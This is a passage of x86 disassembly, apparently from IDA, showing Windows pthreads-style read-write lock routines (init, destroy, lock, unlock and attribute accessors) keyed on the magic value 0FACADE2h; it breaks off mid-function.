arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_432EE2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432EE2:				; CODE XREF: sub_432ED0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_432F02
		cmp	dword ptr [eax], 0
		jz	short loc_432F02
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+1Aj
					; sub_432ED0+1Fj
		push	1Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432F26
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F26:				; CODE XREF: sub_432ED0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F84
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F7B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_40154B
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_432F9C
		push	ebx
		call	sub_402252
		add	esp, 4


loc_432F7B:				; CODE XREF: sub_432ED0+8Dj
		push	esi
		call	sub_402252
		add	esp, 4


loc_432F84:				; CODE XREF: sub_432ED0+7Aj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F9C:				; CODE XREF: sub_432ED0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433000:				; CODE XREF: ___:004018BBj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_43313B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_43313B
		cmp	esi, 0FFFFFFFFh
		jz	loc_4330F7
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43313B
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_433069
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433069:				; CODE XREF: ___:00433057j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_4330DD
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_4330DD
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_4330A0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4330A0:				; CODE XREF: ___:0043308Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401AA5
		push	edi
		mov	ebx, eax
		call	sub_402252
		push	esi
		mov	edi, eax
		call	sub_402252
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330DD:				; CODE XREF: ___:0043306Ej
					; ___:00433078j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330F7:				; CODE XREF: ___:00433023j
		push	offset dword_510960
		call	near ptr 7C901005h
		nop
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_433113
		mov	dword ptr [eax], 0
		jmp	short loc_433118
; ---------------------------------------------------------------------------


loc_433113:				; CODE XREF: ___:00433109j
		mov	ebx, 10h


loc_433118:				; CODE XREF: ___:00433111j
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh


loc_433123:				; CODE XREF: ___:004330DBj
					; ___:004330F5j
		test	ebx, ebx
		jz	short loc_43312E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43312E:				; CODE XREF: ___:00433125j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_433140
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43313B:				; CODE XREF: ___:00433010j
					; ___:0043301Aj ...
		mov	eax, 16h


loc_433140:				; CODE XREF: ___:00433041j
					; ___:004330AAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4331B0:				; CODE XREF: ___:00401EA6j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4331D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4331D3:				; CODE XREF: ___:004331C2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433200:				; CODE XREF: ___:0040179Ej
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_433221
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_433221
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433221:				; CODE XREF: ___:00433209j
					; ___:0043320Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43325D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43325D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43325D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: ___:00433246j
					; ___:0043324Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433280:				; CODE XREF: ___:004015A5j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4332AA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_4332AA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43329E
		test	eax, eax
		jnz	short loc_4332AA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43329E:				; CODE XREF: ___:00433295j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_4332AA:				; CODE XREF: ___:00433286j
					; ___:0043328Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4332C0:				; CODE XREF: ___:00402095j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43337A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43337A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4332F4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4332F4
		cmp	eax, 10h
		jnz	loc_43337F


loc_4332F4:				; CODE XREF: ___:004332DCj
					; ___:004332E9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43337A
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_43337F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43336D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43333D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43333D:				; CODE XREF: ___:0043332Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43336D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43336D:				; CODE XREF: ___:0043331Aj
					; ___:0043335Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43337A:				; CODE XREF: ___:004332C9j
					; ___:004332D3j ...
		mov	eax, 16h


loc_43337F:				; CODE XREF: ___:004332EEj
					; ___:0043330Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333D0:				; CODE XREF: ___:004016A4j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43349F
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43349F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433404
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433404
		cmp	eax, 10h
		jnz	loc_4334A4


loc_433404:				; CODE XREF: ___:004333ECj
					; ___:004333F9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43349F
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	short loc_4334A4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_433492
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BD6
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_433462
		cmp	ebx, 274Ch
		jnz	short loc_433453
		inc	dword ptr [esi+14h]


loc_433453:				; CODE XREF: ___:0043344Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433462:				; CODE XREF: ___:00433446j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_433492
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433492:				; CODE XREF: ___:00433433j
					; ___:00433481j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43349F:				; CODE XREF: ___:004333D9j
					; ___:004333E3j ...
		mov	eax, 16h


loc_4334A4:				; CODE XREF: ___:004333FEj
					; ___:00433423j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:004015D2j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4335E6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4335E6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433527
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433527
		cmp	eax, 10h
		jnz	loc_4335EB


loc_433527:				; CODE XREF: ___:0043350Fj
					; ___:0043351Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4335E6
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4335EB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43356B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43356B:				; CODE XREF: ___:00433557j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4335DA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433588
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433588:				; CODE XREF: ___:00433577j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4335DA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4335AB:				; CODE XREF: ___:004335C0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4335C2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4335AB


loc_4335C2:				; CODE XREF: ___:004335B9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4335DD
		mov	[esi+0Ch], edi


loc_4335DA:				; CODE XREF: ___:00433570j
					; ___:0043358Dj
		inc	dword ptr [esi+10h]


loc_4335DD:				; CODE XREF: ___:004335D5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4335E6:				; CODE XREF: ___:004334FCj
					; ___:00433506j ...
		mov	eax, 16h


loc_4335EB:				; CODE XREF: ___:00433521j
					; ___:00433541j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433650:				; CODE XREF: ___:00401960j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_433751
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433751
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433687
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433687
		cmp	eax, 10h
		jnz	loc_433756


loc_433687:				; CODE XREF: ___:0043366Fj
					; ___:0043367Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433751
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	loc_433756
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BD6
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4336D1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4336D1:				; CODE XREF: ___:004336BDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433745
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4336EE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4336EE:				; CODE XREF: ___:004336DDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433745
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_433711:				; CODE XREF: ___:0043372Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43372D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_433711


loc_43372D:				; CODE XREF: ___:00433724j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_433748
		mov	[esi+0Ch], edi


loc_433745:				; CODE XREF: ___:004336D6j
					; ___:004336F3j
		inc	dword ptr [esi+10h]


loc_433748:				; CODE XREF: ___:00433740j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_433751:				; CODE XREF: ___:0043365Cj
					; ___:00433666j ...
		mov	eax, 16h


loc_433756:				; CODE XREF: ___:00433681j
					; ___:004336A6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4337B0:				; CODE XREF: ___:004015C8j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_433836
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_433836
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4337CC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337CC:				; CODE XREF: ___:004337C4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_433836
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433814
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4337F2
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337F2:				; CODE XREF: ___:004337ECj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_433809
		add	esi, 8
		push	esi
		call	sub_401E6F
		add	esp, 4
		mov	edi, eax


loc_433809:				; CODE XREF: ___:004337F9j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43382C
; ---------------------------------------------------------------------------


loc_433814:				; CODE XREF: ___:004337DAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43382C:				; CODE XREF: ___:00433812j
		test	edi, edi
		jz	short loc_43383B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433836:				; CODE XREF: ___:004337B9j
					; ___:004337BFj ...
		mov	eax, 16h


loc_43383B:				; CODE XREF: ___:0043382Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433870:				; CODE XREF: ___:0040153Cj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43392A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43392A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4338A4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4338A4
		cmp	eax, 10h
		jnz	loc_43392F


loc_4338A4:				; CODE XREF: ___:0043388Cj
					; ___:00433899j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43392A
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	short loc_43392F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43391D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4338ED
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4338ED:				; CODE XREF: ___:004338DCj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43391D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43391D:				; CODE XREF: ___:004338CAj
					; ___:0043390Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43392A:				; CODE XREF: ___:00433879j
					; ___:00433883j ...
		mov	eax, 16h


loc_43392F:				; CODE XREF: ___:0043389Ej
					; ___:004338BAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433980:				; CODE XREF: ___:00401FF0j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_433A61
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433A61
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4339B4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4339B4
		cmp	eax, 10h
		jnz	loc_433A66


loc_4339B4:				; CODE XREF: ___:0043399Cj
					; ___:004339A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433A61
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	loc_433A66
		lea	ebx, [esi+4]
		push	ebx
		call	sub_401785
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4339F9
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_433A66
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4339F9:				; CODE XREF: ___:004339E4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433A49
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433A16
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433A16:				; CODE XREF: ___:00433A05j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433A54
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_433A3B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A3B:				; CODE XREF: ___:00433A2Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433A4E


loc_433A49:				; CODE XREF: ___:004339FEj
		mov	edi, 10h


loc_433A4E:				; CODE XREF: ___:00433A47j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A54:				; CODE XREF: ___:00433A1Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A61:				; CODE XREF: ___:00433989j
					; ___:00433993j ...
		mov	eax, 16h


loc_433A66:				; CODE XREF: ___:004339AEj
					; ___:004339CEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AB0:				; CODE XREF: ___:00401C0Dj
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433AC7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_433AC7:				; CODE XREF: ___:00433ABFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AF0:				; CODE XREF: ___:00401EB5j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B17
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_433B17
		cmp	eax, 2
		jbe	short loc_433B17
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433B17:				; CODE XREF: ___:00433AFFj
					; ___:00433B07j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433B30:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B76
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_433B76
		mov	esi, [edi]
		push	eax
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	short loc_433B76
		push	0
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433B76
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433B76:				; CODE XREF: ___:00433B42j
					; ___:00433B4Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BA0:				; CODE XREF: ___:00401EFBj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433BC5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433BC5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433BC5:				; CODE XREF: ___:00433BB0j
					; ___:00433BB8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BE0:				; CODE XREF: ___:004015BEj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433BF9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433BF9:				; CODE XREF: ___:00433BF0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C0D
		cmp	eax, 1
		jz	short loc_433C0D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C0D:				; CODE XREF: ___:00433BFFj
					; ___:00433C04j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433C30:				; CODE XREF: ___:004019E7j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433C55
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C55
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
